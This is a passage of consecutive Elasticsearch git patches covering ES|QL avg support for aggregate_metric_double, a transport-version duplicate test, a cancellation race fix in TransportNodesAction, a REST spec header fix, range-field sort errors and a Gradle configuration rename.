diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/aggregate/Avg.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/aggregate/Avg.java
index 9f32a4a740a72..931321bab4b1b 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/aggregate/Avg.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/aggregate/Avg.java
@@ -28,6 +28,7 @@
 import static java.util.Collections.emptyList;
 import static org.elasticsearch.xpack.esql.core.expression.TypeResolutions.ParamOrdinal.DEFAULT;
 import static org.elasticsearch.xpack.esql.core.expression.TypeResolutions.isType;
+import static org.elasticsearch.xpack.esql.core.type.DataType.AGGREGATE_METRIC_DOUBLE;
 
 public class Avg extends AggregateFunction implements SurrogateExpression {
     public static final NamedWriteableRegistry.Entry ENTRY = new NamedWriteableRegistry.Entry(Expression.class, "Avg", Avg::new);
@@ -50,7 +51,7 @@ public Avg(
         Source source,
         @Param(
             name = "number",
-            type = { "double", "integer", "long" },
+            type = { "aggregate_metric_double", "double", "integer", "long" },
             description = "Expression that outputs values to average."
         ) Expression field
     ) {
@@ -65,10 +66,10 @@ public Avg(Source source, Expression field, Expression filter) {
     protected Expression.TypeResolution resolveType() {
         return isType(
             field(),
-            dt -> dt.isNumeric() && dt != DataType.UNSIGNED_LONG,
+            dt -> dt.isNumeric() && dt != DataType.UNSIGNED_LONG || dt == AGGREGATE_METRIC_DOUBLE,
             sourceText(),
             DEFAULT,
-            "numeric except unsigned_long or counter types"
+            "aggregate_metric_double or numeric except unsigned_long or counter types"
         );
     }
 
@@ -105,9 +106,12 @@ public Avg withFilter(Expression filter) {
     public Expression surrogate() {
         var s = source();
         var field = field();
-
-        return field().foldable()
-            ? new MvAvg(s, field)
-            : new Div(s, new Sum(s, field, filter()), new Count(s, field, filter()), dataType());
+        if (field.foldable()) {
+            return new MvAvg(s, field);
+        }
+        if (field.dataType() == AGGREGATE_METRIC_DOUBLE) {
+            return new Div(s, new Sum(s, field, filter()).surrogate(), new Count(s, field, filter()).surrogate());
+        }
+        return new Div(s, new Sum(s, field, filter()), new Count(s, field, filter()), dataType());
     }
 }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTests.java
index b99050b8ef090..bf44c47ea9c4d 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTests.java
@@ -2006,7 +2006,7 @@ public void testUnsupportedTypesInStats() {
               | stats  avg(x), count_distinct(x), max(x), median(x), median_absolute_deviation(x), min(x), percentile(x, 10), sum(x)
             """, """
             Found 8 problems
-            line 2:12: argument of [avg(x)] must be [numeric except unsigned_long or counter types],\
+            line 2:12: argument of [avg(x)] must be [aggregate_metric_double or numeric except unsigned_long or counter types],\
              found value [x] type [unsigned_long]
             line 2:20: argument of [count_distinct(x)] must be [any exact type except unsigned_long, _source, or counter types],\
              found value [x] type [unsigned_long]
@@ -2028,7 +2028,7 @@ public void testUnsupportedTypesInStats() {
             | stats  avg(x), median(x), median_absolute_deviation(x), percentile(x, 10), sum(x)
             """, """
             Found 5 problems
-            line 2:10: argument of [avg(x)] must be [numeric except unsigned_long or counter types],\
+            line 2:10: argument of [avg(x)] must be [aggregate_metric_double or numeric except unsigned_long or counter types],\
              found value [x] type [version]
             line 2:18: argument of [median(x)] must be [numeric except unsigned_long or counter types],\
              found value [x] type [version]
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
index 14e5c0615e2b4..27c3c1427b7db 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
@@ -359,7 +359,7 @@ public void testAggsExpressionsInStatsAggs() {
             error("from test | stats max(max(salary)) by first_name")
         );
         assertEquals(
-            "1:25: argument of [avg(first_name)] must be [numeric except unsigned_long or counter types],"
+            "1:25: argument of [avg(first_name)] must be [aggregate_metric_double or numeric except unsigned_long or counter types],"
                 + " found value [first_name] type [keyword]",
             error("from test | stats count(avg(first_name)) by first_name")
         );
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/aggregate/AvgErrorTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/aggregate/AvgErrorTests.java
index 16f80e4564cff..69c14f815a236 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/aggregate/AvgErrorTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/aggregate/AvgErrorTests.java
@@ -32,6 +32,13 @@ protected Expression build(Source source, List<Expression> args) {
 
     @Override
     protected Matcher<String> expectedTypeErrorMatcher(List<Set<DataType>> validPerPosition, List<DataType> signature) {
-        return equalTo(typeErrorMessage(false, validPerPosition, signature, (v, p) -> "numeric except unsigned_long or counter types"));
+        return equalTo(
+            typeErrorMessage(
+                false,
+                validPerPosition,
+                signature,
+                (v, p) -> "aggregate_metric_double or numeric except unsigned_long or counter types"
+            )
+        );
     }
 }
diff --git a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/40_tsdb.yml b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/40_tsdb.yml
index 8d394dee4acd4..e4a6ebc966a8a 100644
--- a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/40_tsdb.yml
+++ b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/40_tsdb.yml
@@ -707,3 +707,27 @@ to_aggregate_metric_double with multi_values:
   - match: {values.0.1: '{"min":102.44400024414062,"max":195.10000610351562,"sum":297.54400634765625,"value_count":2}'}
   - match: {values.0.2: '{"min":64.0,"max":1456.0,"sum":2139.0,"value_count":4}'}
   - match: {values.0.3: '{"min":123.0,"max":1.9418924E7,"sum":1.9433032E7,"value_count":3}'}
+
+---
+avg of aggregate_metric_double:
+  - requires:
+      test_runner_features: [capabilities]
+      capabilities:
+        - method: POST
+          path: /_query
+          parameters: []
+          capabilities: [aggregate_metric_double_avg]
+      reason: "support avg aggregations with aggregate metric double"
+
+  - do:
+      allowed_warnings_regex:
+        - "No limit defined, adding default limit of \\[.*\\]"
+      esql.query:
+        body:
+          query: 'FROM test2 | STATS avg = avg(agg_metric) | KEEP avg'
+
+  - length: {values: 1}
+  - length: {values.0: 1}
+  - match: {columns.0.name: "avg"}
+  - match: {columns.0.type: "double"}
+  - match: {values.0.0: 4.904761904761905}

From bb3de18596202e582211fa11884956767a2a444e Mon Sep 17 00:00:00 2001
From: Ryan Ernst <ryan@iernst.net>
Date: Wed, 2 Jul 2025 16:51:32 -0700
Subject: [PATCH 051/299] Test for duplicate transport versions (#130494)
 (#130509)

We used to have an assertion during transport version loading that
duplicate ids were not found, but it appears to have been lost in
refactorings. This commit adds a test to ensure duplicate ids do not
occur.

relates #130486
---
 .../org/elasticsearch/TransportVersionTests.java    | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/server/src/test/java/org/elasticsearch/TransportVersionTests.java b/server/src/test/java/org/elasticsearch/TransportVersionTests.java
index 9b02b66583e78..4e100e3067444 100644
--- a/server/src/test/java/org/elasticsearch/TransportVersionTests.java
+++ b/server/src/test/java/org/elasticsearch/TransportVersionTests.java
@@ -13,6 +13,7 @@
 import org.elasticsearch.test.TransportVersionUtils;
 
 import java.lang.reflect.Modifier;
+import java.util.List;
 import java.util.Set;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -207,4 +208,16 @@ public void testToString() {
         assertEquals("2000099", TransportVersion.fromId(2_00_00_99).toString());
         assertEquals("5000099", TransportVersion.fromId(5_00_00_99).toString());
     }
+
+    public void testDuplicateConstants() {
+        List<TransportVersion> tvs = TransportVersion.getAllVersions();
+        TransportVersion previous = tvs.get(0);
+        for (int i = 1; i < tvs.size(); i++) {
+            TransportVersion next = tvs.get(i);
+            if (next.id() == previous.id()) {
+                throw new AssertionError("Duplicate transport version id: " + next.id());
+            }
+            previous = next;
+        }
+    }
 }

From 9d6b0cdc62403f35eb14d3d6a7493a68b9cae632 Mon Sep 17 00:00:00 2001
From: Yang Wang <yang.wang@elastic.co>
Date: Thu, 3 Jul 2025 11:30:38 +1000
Subject: [PATCH 052/299] Drain responses on completion for
 TransportNodesAction (#130303) (#130514)

This PR ensures the node responses are copied and drained exclusively in
onCompletion so that they do not get concurrently modified by
cancellation.

Resolves: #128852
---
 docs/changelog/130303.yaml                    |   5 +
 .../support/nodes/TransportNodesAction.java   |  28 ++--
 .../nodes/TransportNodesActionTests.java      | 136 ++++++++++++++++++
 3 files changed, 161 insertions(+), 8 deletions(-)
 create mode 100644 docs/changelog/130303.yaml

diff --git a/docs/changelog/130303.yaml b/docs/changelog/130303.yaml
new file mode 100644
index 0000000000000..aff277f67eba1
--- /dev/null
+++ b/docs/changelog/130303.yaml
@@ -0,0 +1,5 @@
+pr: 130303
+summary: Drain responses on completion for `TransportNodesAction`
+area: Distributed
+type: bug
+issues: []
diff --git a/server/src/main/java/org/elasticsearch/action/support/nodes/TransportNodesAction.java b/server/src/main/java/org/elasticsearch/action/support/nodes/TransportNodesAction.java
index 96b1e1e1efca4..181d935d97f37 100644
--- a/server/src/main/java/org/elasticsearch/action/support/nodes/TransportNodesAction.java
+++ b/server/src/main/java/org/elasticsearch/action/support/nodes/TransportNodesAction.java
@@ -42,6 +42,7 @@
 import java.util.List;
 import java.util.Objects;
 import java.util.concurrent.Executor;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 import static org.elasticsearch.core.Strings.format;
 
@@ -99,6 +100,7 @@ protected void doExecute(Task task, NodesRequest request, ActionListener<NodesRe
             final ActionContext actionContext = createActionContext(task, request);
             final ArrayList<NodeResponse> responses = new ArrayList<>(concreteNodes.length);
             final ArrayList<FailedNodeException> exceptions = new ArrayList<>(0);
+            final AtomicBoolean responsesHandled = new AtomicBoolean(false);
 
             final TransportRequestOptions transportRequestOptions = TransportRequestOptions.timeout(request.timeout());
 
@@ -109,12 +111,14 @@ protected void doExecute(Task task, NodesRequest request, ActionListener<NodesRe
             private void addReleaseOnCancellationListener() {
                 if (task instanceof CancellableTask cancellableTask) {
                     cancellableTask.addListener(() -> {
-                        final List<NodeResponse> drainedResponses;
-                        synchronized (responses) {
-                            drainedResponses = List.copyOf(responses);
-                            responses.clear();
+                        if (responsesHandled.compareAndSet(false, true)) {
+                            final List<NodeResponse> drainedResponses;
+                            synchronized (responses) {
+                                drainedResponses = List.copyOf(responses);
+                                responses.clear();
+                            }
+                            Releasables.wrap(Iterators.map(drainedResponses.iterator(), r -> r::decRef)).close();
                         }
-                        Releasables.wrap(Iterators.map(drainedResponses.iterator(), r -> r::decRef)).close();
                     });
                 }
             }
@@ -161,10 +165,18 @@ protected void onItemFailure(DiscoveryNode discoveryNode, Exception e) {
 
             @Override
             protected CheckedConsumer<ActionListener<NodesResponse>, Exception> onCompletion() {
-                // ref releases all happen-before here so no need to be synchronized
                 return l -> {
-                    try (var ignored = Releasables.wrap(Iterators.map(responses.iterator(), r -> r::decRef))) {
-                        newResponseAsync(task, request, actionContext, responses, exceptions, l);
+                    if (responsesHandled.compareAndSet(false, true)) {
+                        // ref releases all happen-before here so no need to be synchronized
+                        try (var ignored = Releasables.wrap(Iterators.map(responses.iterator(), r -> r::decRef))) {
+                            newResponseAsync(task, request, actionContext, responses, exceptions, l);
+                        }
+                    } else {
+                        logger.debug("task cancelled after all responses were collected");
+                        assert task instanceof CancellableTask : "expect CancellableTask, but got: " + task;
+                        final var cancellableTask = (CancellableTask) task;
+                        assert cancellableTask.isCancelled();
+                        cancellableTask.notifyIfCancelled(l);
                     }
                 };
             }
diff --git a/server/src/test/java/org/elasticsearch/action/support/nodes/TransportNodesActionTests.java b/server/src/test/java/org/elasticsearch/action/support/nodes/TransportNodesActionTests.java
index f954019d5556d..d62432c2ee4cd 100644
--- a/server/src/test/java/org/elasticsearch/action/support/nodes/TransportNodesActionTests.java
+++ b/server/src/test/java/org/elasticsearch/action/support/nodes/TransportNodesActionTests.java
@@ -10,6 +10,7 @@
 package org.elasticsearch.action.support.nodes;
 
 import org.elasticsearch.ElasticsearchException;
+import org.elasticsearch.ExceptionsHelper;
 import org.elasticsearch.action.ActionListener;
 import org.elasticsearch.action.FailedNodeException;
 import org.elasticsearch.action.support.ActionFilters;
@@ -57,6 +58,8 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.CyclicBarrier;
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
@@ -66,7 +69,9 @@
 import static java.util.Collections.emptyMap;
 import static org.elasticsearch.test.ClusterServiceUtils.createClusterService;
 import static org.elasticsearch.test.ClusterServiceUtils.setState;
+import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.hasSize;
 import static org.mockito.Mockito.mock;
 
 public class TransportNodesActionTests extends ESTestCase {
@@ -316,6 +321,137 @@ protected Object createActionContext(Task task, TestNodesRequest request) {
         assertTrue(cancellableTask.isCancelled()); // keep task alive
     }
 
+    public void testCompletionShouldNotBeInterferedByCancellationAfterProcessingBegins() throws Exception {
+        final var barrier = new CyclicBarrier(2);
+        final var action = new TestTransportNodesAction(
+            clusterService,
+            transportService,
+            new ActionFilters(Set.of()),
+            TestNodeRequest::new,
+            THREAD_POOL.executor(ThreadPool.Names.GENERIC)
+        ) {
+            @Override
+            protected void newResponseAsync(
+                Task task,
+                TestNodesRequest request,
+                Void unused,
+                List<TestNodeResponse> testNodeResponses,
+                List<FailedNodeException> failures,
+                ActionListener<TestNodesResponse> listener
+            ) {
+                boolean waited = false;
+                // Process node responses in a loop and ensure no ConcurrentModificationException will be thrown due to
+                // concurrent cancellation coming after the loop has started, see also #128852
+                for (var response : testNodeResponses) {
+                    if (waited == false) {
+                        waited = true;
+                        safeAwait(barrier);
+                        safeAwait(barrier);
+                    }
+                }
+                super.newResponseAsync(task, request, unused, testNodeResponses, failures, listener);
+            }
+        };
+
+        final CancellableTask cancellableTask = new CancellableTask(randomLong(), "transport", "action", "", null, emptyMap());
+        final var cancelledFuture = new PlainActionFuture<Void>();
+        cancellableTask.addListener(() -> cancelledFuture.onResponse(null));
+
+        final PlainActionFuture<TestNodesResponse> future = new PlainActionFuture<>();
+        action.execute(cancellableTask, new TestNodesRequest(), future);
+
+        for (var capturedRequest : transport.getCapturedRequestsAndClear()) {
+            completeOneRequest(capturedRequest);
+        }
+
+        // Wait for the overall response to start processing the node responses in a loop and then cancel the task.
+        // The cancellation should not interfere with the node response processing.
+        safeAwait(barrier);
+        TaskCancelHelper.cancel(cancellableTask, "simulated");
+        safeGet(cancelledFuture);
+
+        // Let the process continue, and it should be successful
+        safeAwait(barrier);
+        assertResponseReleased(safeGet(future));
+    }
+
+    public void testConcurrentlyCompletionAndCancellation() throws InterruptedException {
+        final var action = getTestTransportNodesAction();
+
+        final CountDownLatch onCancelledLatch = new CountDownLatch(1);
+        final CancellableTask cancellableTask = new CancellableTask(randomLong(), "transport", "action", "", null, emptyMap()) {
+            @Override
+            protected void onCancelled() {
+                onCancelledLatch.countDown();
+            }
+        };
+
+        final PlainActionFuture<TestNodesResponse> future = new PlainActionFuture<>();
+        action.execute(cancellableTask, new TestNodesRequest(), future);
+
+        final List<TestNodeResponse> nodeResponses = new ArrayList<>();
+        final CapturingTransport.CapturedRequest[] capturedRequests = transport.getCapturedRequestsAndClear();
+        for (int i = 0; i < capturedRequests.length - 1; i++) {
+            final var capturedRequest = capturedRequests[i];
+            nodeResponses.add(completeOneRequest(capturedRequest));
+        }
+
+        final var raceBarrier = new CyclicBarrier(3);
+        final Thread completeThread = new Thread(() -> {
+            safeAwait(raceBarrier);
+            nodeResponses.add(completeOneRequest(capturedRequests[capturedRequests.length - 1]));
+        });
+        final Thread cancelThread = new Thread(() -> {
+            safeAwait(raceBarrier);
+            TaskCancelHelper.cancel(cancellableTask, "simulated");
+        });
+        completeThread.start();
+        cancelThread.start();
+        safeAwait(raceBarrier);
+
+        // We expect either a successful response or a cancellation exception. All node responses should be released in both cases.
+        try {
+            final var testNodesResponse = future.actionGet(SAFE_AWAIT_TIMEOUT);
+            assertThat(testNodesResponse.getNodes(), hasSize(capturedRequests.length));
+            assertResponseReleased(testNodesResponse);
+        } catch (Exception e) {
+            final var taskCancelledException = (TaskCancelledException) ExceptionsHelper.unwrap(e, TaskCancelledException.class);
+            assertNotNull("expect task cancellation exception, but got\n" + ExceptionsHelper.stackTrace(e), taskCancelledException);
+            assertThat(e.getMessage(), containsString("task cancelled [simulated]"));
+            assertTrue(cancellableTask.isCancelled());
+            safeAwait(onCancelledLatch); // wait for the latch, the listener for releasing node responses is called before it
+            assertTrue(nodeResponses.stream().allMatch(r -> r.hasReferences() == false));
+        }
+
+        completeThread.join(10_000);
+        cancelThread.join(10_000);
+        assertFalse(completeThread.isAlive());
+        assertFalse(cancelThread.isAlive());
+    }
+
+    private void assertResponseReleased(TestNodesResponse response) {
+        final var allResponsesReleasedListener = new SubscribableListener<Void>();
+        try (var listeners = new RefCountingListener(allResponsesReleasedListener)) {
+            response.addCloseListener(listeners.acquire());
+            for (final var nodeResponse : response.getNodes()) {
+                nodeResponse.addCloseListener(listeners.acquire());
+            }
+        }
+        safeAwait(allResponsesReleasedListener);
+        assertTrue(response.getNodes().stream().noneMatch(TestNodeResponse::hasReferences));
+        assertFalse(response.hasReferences());
+    }
+
+    private TestNodeResponse completeOneRequest(CapturingTransport.CapturedRequest capturedRequest) {
+        final var response = new TestNodeResponse(capturedRequest.node());
+        try {
+            transport.getTransportResponseHandler(capturedRequest.requestId()).handleResponse(response);
+        } finally {
+            response.decRef();
+        }
+        return response;
+    }
+
     @BeforeClass
     public static void startThreadPool() {
         THREAD_POOL = new TestThreadPool(TransportNodesActionTests.class.getSimpleName());

From b72018dd586ea8b44435119d64864d1b2afceae8 Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Thu, 3 Jul 2025 10:38:27 +0400
Subject: [PATCH 053/299] rest-api-spec: fix esql.get_query accept header
 (#130377) (#130455)

---
 .../main/resources/rest-api-spec/api/esql.get_query.json    | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/esql.get_query.json b/rest-api-spec/src/main/resources/rest-api-spec/api/esql.get_query.json
index a0e78cf4b1b74..714db0e472185 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/esql.get_query.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/esql.get_query.json
@@ -7,10 +7,8 @@
     "stability": "experimental",
     "visibility": "public",
     "headers": {
-      "accept": [],
-      "content_type": [
-        "application/json"
-      ]
+      "accept": ["application/json"],
+      "content_type": ["application/json"]
     },
     "url": {
       "paths": [

From fed2cfca0c8a0d34d703b89e5da1d848ac452408 Mon Sep 17 00:00:00 2001
From: Dimitris Rempapis <dimitris.rempapis@elastic.co>
Date: Thu, 3 Jul 2025 10:51:59 +0300
Subject: [PATCH 054/299] Throw a 400 when sorting for all types of range
 fields (#130439)

---
 docs/changelog/129725.yaml                    |   5 +
 .../search/sort/RangeFieldSortIT.java         | 107 ++++++++++++++++++
 .../index/mapper/RangeFieldMapper.java        |  22 +++-
 3 files changed, 133 insertions(+), 1 deletion(-)
 create mode 100644 docs/changelog/129725.yaml
 create mode 100644 server/src/internalClusterTest/java/org/elasticsearch/search/sort/RangeFieldSortIT.java

diff --git a/docs/changelog/129725.yaml b/docs/changelog/129725.yaml
new file mode 100644
index 0000000000000..8c14844871297
--- /dev/null
+++ b/docs/changelog/129725.yaml
@@ -0,0 +1,5 @@
+pr: 129725
+summary: Throw a 400 when sorting for all types of range fields
+area: Search
+type: bug
+issues: []
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/search/sort/RangeFieldSortIT.java b/server/src/internalClusterTest/java/org/elasticsearch/search/sort/RangeFieldSortIT.java
new file mode 100644
index 0000000000000..8f3dea78b73e9
--- /dev/null
+++ b/server/src/internalClusterTest/java/org/elasticsearch/search/sort/RangeFieldSortIT.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.search.sort;
+
+import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.index.mapper.RangeType;
+import org.elasticsearch.rest.RestStatus;
+import org.elasticsearch.test.ESSingleNodeTestCase;
+import org.elasticsearch.xcontent.XContentBuilder;
+import org.elasticsearch.xcontent.XContentFactory;
+
+import static org.elasticsearch.index.query.QueryBuilders.matchAllQuery;
+import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertFailures;
+import static org.hamcrest.Matchers.containsString;
+
+public class RangeFieldSortIT extends ESSingleNodeTestCase {
+
+    private static final String FIELD_NAME = "range";
+
+    public void testSortingOnIntegerRangeFieldThrows400() throws Exception {
+        String indexName = "int_range_index";
+        createIndex(indexName, FIELD_NAME, RangeType.INTEGER.typeName());
+        assertFailures(
+            client().prepareSearch(indexName).setQuery(matchAllQuery()).addSort(SortBuilders.fieldSort(FIELD_NAME).order(SortOrder.ASC)),
+            RestStatus.BAD_REQUEST,
+            containsString("Sorting by range field [" + FIELD_NAME + "] is not supported")
+        );
+    }
+
+    public void testSortingOnLongRangeFieldThrows400() throws Exception {
+        String indexName = "long_range_index";
+        createIndex(indexName, FIELD_NAME, RangeType.LONG.typeName());
+        assertFailures(
+            client().prepareSearch(indexName).setQuery(matchAllQuery()).addSort(SortBuilders.fieldSort(FIELD_NAME).order(SortOrder.ASC)),
+            RestStatus.BAD_REQUEST,
+            containsString("Sorting by range field [" + FIELD_NAME + "] is not supported")
+        );
+    }
+
+    public void testSortingOnFloatRangeFieldThrows400() throws Exception {
+        String indexName = "float_range_index";
+        createIndex(indexName, FIELD_NAME, RangeType.FLOAT.typeName());
+        assertFailures(
+            client().prepareSearch(indexName).setQuery(matchAllQuery()).addSort(SortBuilders.fieldSort(FIELD_NAME).order(SortOrder.ASC)),
+            RestStatus.BAD_REQUEST,
+            containsString("Sorting by range field [" + FIELD_NAME + "] is not supported")
+        );
+    }
+
+    public void testSortingOnDoubleRangeFieldThrows400() throws Exception {
+        String indexName = "double_range_index";
+        createIndex(indexName, FIELD_NAME, RangeType.DOUBLE.typeName());
+        assertFailures(
+            client().prepareSearch(indexName).setQuery(matchAllQuery()).addSort(SortBuilders.fieldSort(FIELD_NAME).order(SortOrder.ASC)),
+            RestStatus.BAD_REQUEST,
+            containsString("Sorting by range field [" + FIELD_NAME + "] is not supported")
+        );
+    }
+
+    public void testSortingOnIpRangeFieldThrows400() throws Exception {
+        String indexName = "ip_range_index";
+        createIndex(indexName, FIELD_NAME, RangeType.IP.typeName());
+        assertFailures(
+            client().prepareSearch(indexName).setQuery(matchAllQuery()).addSort(SortBuilders.fieldSort(FIELD_NAME).order(SortOrder.ASC)),
+            RestStatus.BAD_REQUEST,
+            containsString("Sorting by range field [" + FIELD_NAME + "] is not supported")
+        );
+    }
+
+    public void testSortingOnDateRangeFieldThrows400() throws Exception {
+        String indexName = "date_range_index";
+        createIndex(indexName, FIELD_NAME, RangeType.DATE.typeName());
+        assertFailures(
+            client().prepareSearch(indexName).setQuery(matchAllQuery()).addSort(SortBuilders.fieldSort(FIELD_NAME).order(SortOrder.ASC)),
+            RestStatus.BAD_REQUEST,
+            containsString("Sorting by range field [" + FIELD_NAME + "] is not supported")
+        );
+    }
+
+    private void createIndex(String indexName, String rangeFieldName, String rangeFieldType) throws Exception {
+        int numShards = randomIntBetween(1, 3);
+        client().admin()
+            .indices()
+            .prepareCreate(indexName)
+            .setSettings(Settings.builder().put("index.number_of_shards", numShards))
+            .setMapping(createMapping(rangeFieldName, rangeFieldType))
+            .get();
+    }
+
+    private XContentBuilder createMapping(String fieldName, String fieldType) throws Exception {
+        return XContentFactory.jsonBuilder()
+            .startObject()
+            .startObject("properties")
+            .startObject(fieldName)
+            .field("type", fieldType)
+            .endObject()
+            .endObject()
+            .endObject();
+    }
+}
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/RangeFieldMapper.java b/server/src/main/java/org/elasticsearch/index/mapper/RangeFieldMapper.java
index 79a0e6b1fdbc4..e53fc3cba5d58 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/RangeFieldMapper.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/RangeFieldMapper.java
@@ -10,6 +10,7 @@
 package org.elasticsearch.index.mapper;
 
 import org.apache.lucene.search.Query;
+import org.apache.lucene.search.SortField;
 import org.apache.lucene.util.BytesRef;
 import org.elasticsearch.ElasticsearchException;
 import org.elasticsearch.common.Explicit;
@@ -20,13 +21,17 @@
 import org.elasticsearch.common.time.DateFormatter;
 import org.elasticsearch.common.time.DateMathParser;
 import org.elasticsearch.common.util.LocaleUtils;
+import org.elasticsearch.core.Nullable;
 import org.elasticsearch.core.Tuple;
 import org.elasticsearch.features.NodeFeature;
 import org.elasticsearch.index.fielddata.FieldDataContext;
 import org.elasticsearch.index.fielddata.IndexFieldData;
+import org.elasticsearch.index.fielddata.IndexFieldDataCache;
 import org.elasticsearch.index.fielddata.plain.BinaryIndexFieldData;
 import org.elasticsearch.index.query.SearchExecutionContext;
+import org.elasticsearch.indices.breaker.CircuitBreakerService;
 import org.elasticsearch.search.DocValueFormat;
+import org.elasticsearch.search.MultiValueMode;
 import org.elasticsearch.search.aggregations.support.CoreValuesSourceType;
 import org.elasticsearch.xcontent.XContentBuilder;
 import org.elasticsearch.xcontent.XContentParser;
@@ -227,7 +232,22 @@ public RangeType rangeType() {
         @Override
         public IndexFieldData.Builder fielddataBuilder(FieldDataContext fieldDataContext) {
             failIfNoDocValues();
-            return new BinaryIndexFieldData.Builder(name(), CoreValuesSourceType.RANGE);
+            return new BinaryIndexFieldData.Builder(name(), CoreValuesSourceType.RANGE) {
+                @Override
+                public BinaryIndexFieldData build(IndexFieldDataCache cache, CircuitBreakerService breakerService) {
+                    return new BinaryIndexFieldData(name(), CoreValuesSourceType.RANGE) {
+                        @Override
+                        public SortField sortField(
+                            @Nullable Object missingValue,
+                            MultiValueMode sortMode,
+                            XFieldComparatorSource.Nested nested,
+                            boolean reverse
+                        ) {
+                            throw new IllegalArgumentException("Sorting by range field [" + name() + "] is not supported");
+                        }
+                    };
+                }
+            };
         }
 
         @Override

From 1e1b882ffea1d8c9f9d46a792fca42fb13ad0704 Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Thu, 3 Jul 2025 12:12:18 +0400
Subject: [PATCH 055/299] Add data-streams tests to restResourcesZip (#130424)
 (#130518)

* Add data-streams tests to restResourcesZip

* Rename to restTests
---
 modules/data-streams/build.gradle                             | 4 ++--
 .../core-rest-tests-with-multiple-projects/build.gradle       | 2 +-
 x-pack/rest-resources-zip/build.gradle                        | 1 +
 3 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/modules/data-streams/build.gradle b/modules/data-streams/build.gradle
index fcd435e29a30d..a4dc90ed54e21 100644
--- a/modules/data-streams/build.gradle
+++ b/modules/data-streams/build.gradle
@@ -83,7 +83,7 @@ tasks.named("yamlRestCompatTestTransform").configure({ task ->
 })
 
 configurations {
-  basicRestSpecs {
+  restTests {
     attributes {
       attribute(ArtifactTypeDefinition.ARTIFACT_TYPE_ATTRIBUTE, ArtifactTypeDefinition.DIRECTORY_TYPE)
     }
@@ -91,5 +91,5 @@ configurations {
 }
 
 artifacts {
-  basicRestSpecs(new File(projectDir, "src/yamlRestTest/resources/rest-api-spec/test"))
+  restTests(new File(projectDir, "src/yamlRestTest/resources/rest-api-spec/test"))
 }
diff --git a/x-pack/qa/multi-project/core-rest-tests-with-multiple-projects/build.gradle b/x-pack/qa/multi-project/core-rest-tests-with-multiple-projects/build.gradle
index f064c97ff296e..ca6cb356bc1ce 100644
--- a/x-pack/qa/multi-project/core-rest-tests-with-multiple-projects/build.gradle
+++ b/x-pack/qa/multi-project/core-rest-tests-with-multiple-projects/build.gradle
@@ -28,7 +28,7 @@ dependencies {
   clusterModules project(xpackModule('mapper-constant-keyword'))
   clusterModules project(xpackModule('wildcard'))
   clusterModules project(':test:external-modules:test-multi-project')
-  restTestConfig project(path: ':modules:data-streams', configuration: "basicRestSpecs")
+  restTestConfig project(path: ':modules:data-streams', configuration: "restTests")
   restTestConfig project(path: ':modules:ingest-common', configuration: "basicRestSpecs")
   restTestConfig project(path: ':modules:reindex', configuration: "basicRestSpecs")
   restTestConfig project(path: ':modules:streams', configuration: "basicRestSpecs")
diff --git a/x-pack/rest-resources-zip/build.gradle b/x-pack/rest-resources-zip/build.gradle
index 6cc39aa168e91..9f7dcc4b26c05 100644
--- a/x-pack/rest-resources-zip/build.gradle
+++ b/x-pack/rest-resources-zip/build.gradle
